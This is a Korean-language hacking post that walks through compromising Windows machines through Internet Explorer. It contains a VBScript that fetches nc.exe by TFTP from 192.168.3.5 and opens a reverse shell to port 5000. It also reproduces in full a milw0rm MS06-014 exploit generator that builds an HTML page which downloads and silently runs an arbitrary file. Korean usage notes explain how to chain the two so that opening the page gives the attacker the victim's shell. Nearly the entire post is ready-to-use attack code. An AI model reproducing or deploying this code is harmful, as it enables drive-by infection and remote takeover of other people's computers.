vbs를 통한 서버 명령실행
작성자 : 빨룡
test.vbs
------------------------------------------------------------------------------------------
set fso=createobject("scripting.filesystemobject")
set f=fso.createTextfile("c:\\put.bat", true)
with f
.writeline "copy %ComSpec% c:\\cmd.exe"
.writeline "tftp -i 192.168.3.5 get nc.exe"
.writeline "nc -e cmd.exe 192.168.3.5 5000"
end with
set sll=createobject("wscript.shell")
sll.run "cmd.exe /c c:\\put.bat", 1, true
f.close
-------------------------------------------------------------------------------------------
vbs를 이용하여 wsh object를 구현하였습니다
직접 바탕화면에서 실행하면 실행이 되지만 익스플로러를 이용하여 요청하면 실행이 되지 않습니다.
익스플로러 프로세스에서 wsh의 개체모델을 통해 호출되는 실행코드 루틴을 탐지하고 차단하기 때문입니다.
그렇기 때문에 ms06-014 취약점을 이용하여 vbs를 실행하였습니다.
http://www.milw0rm.com/exploits/2052
-------------------------------------------------------------------------------------------
#!/bin/sh -
"exec" "python" "-O" "$0" "$@"
__doc__ = """[BL4CK] - MS06-014
RDS.DataStore - Data Execution
CVS-2006-0003
MS06-014
April 2006
*** this is a bit out-dated, but works very well ***
Usage: ./bl4ck_ms06_014.py http://omfg.what.ho.st/~user/stage2.exe index.html
Now upload index.html to the same webserver hosting your
http://omfg.what.ho.st/~user/stage2.exe
- redsand@blacksecurity.org
"""
__version__ = "1.0"
import sys, random
class MS06014:
__version = "'[BL4CK] MS06-014 " + __version__ + "\r\n"
__html = """
<title></title>
<head></head>
<body>
<script language="VBScript">
on error resume next
BL4CK_PAYLOAD
</script>
<head>
<title>[BL4CK] || 404 Not Found</title>
</head><body>
<h1>Not Found</h1>
pwn3d!!
<hr>
<!-- <script>location.href='http://google.com'</script> -->
</body>
</html>
"""
__payload = """
' due to how ajax works, the file MUST be within the same local domain
dl = "URLFILE"
' create adodbstream object
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
' xml ajax req
str6="GET"
x.Open str6, dl, False
x.Send
' Get temp directory and create our destination name
fname1="bl4ck.com"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2) ' Get tmp folder
fname1= F.BuildPath(tmp,fname1)
S.open
' open adodb stream and write contents of request to file
' like vbs dl+exec code
S.write x.responseBody
' Saves it with CreateOverwrite flag
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
"""
def __init__(self, file):
self.__file = file
def bl4ck(self):
self.__payload = self.__payload.replace("URLFILE",self.__file)
encoded = self.__payload
ret = self.__html.replace("BL4CK_PAYLOAD",encoded)
return ret
if __name__ == '__main__':
url=False
out=False
print "[BL4CK] MS06-014 - redsand@blacksecurity.org"
print "url path to file must be on the same domain as the htm file"
print "http://blacksecurity.org\r\n"
argc = len(sys.argv)
if(argc <= 2):
print "USAGE: %s <download url> <outfile>" % sys.argv[0]
sys.exit(0)
if(argc > 1):
url = sys.argv[1]
if(argc > 2):
out = sys.argv[2]
ms = MS06014(url)
ret = ms.bl4ck()
try:
fsock = open(out, "w+", 0)
try:
fsock.write(ret );
finally:
fsock.close()
except IOError:
pass
print "Wrote %r bytes to: %s" % (len(ret),out)
# milw0rm.com [2006-07-21]
-------------------------------------------------------------------------------------------
익스플로잇을 이용하여 코드를 작성합니다.
사용방법은 아래와 같습니다.
#a.sh excute_program outputfile
outputfile이 html 형식인데 html을 익스플로러로 열게되면 excute_program이 자동으로 실행합니다.
#a.sh http://10.10.10.10/vuln_test/test.vbs aaaa.html
aaaa.html을 실행하면 test.vbs를 임시디렉토리로 다운하여 실행합니다.
단순히 GET으로 요청하기 때문에 exe, vbs, com 등 모든형식의 파일 요청이 가능합니다.
vbs가 실행하면 nc를 다운로드 하여 접속을 시도합니다.
vbs가 실행하는 명령어는 아래와 같습니다.
"copy %ComSpec% c:\\cmd.exe"
"tftp -i 192.168.3.5 get nc.exe"
"nc -e cmd.exe 192.168.3.5 5000"
이 명령어가 실행될때 192.168.3.5 서버의 5000번 포트가 열려있다면 aaa.html을 실행한 컴퓨터의 쉘이 넘어가게 됩니다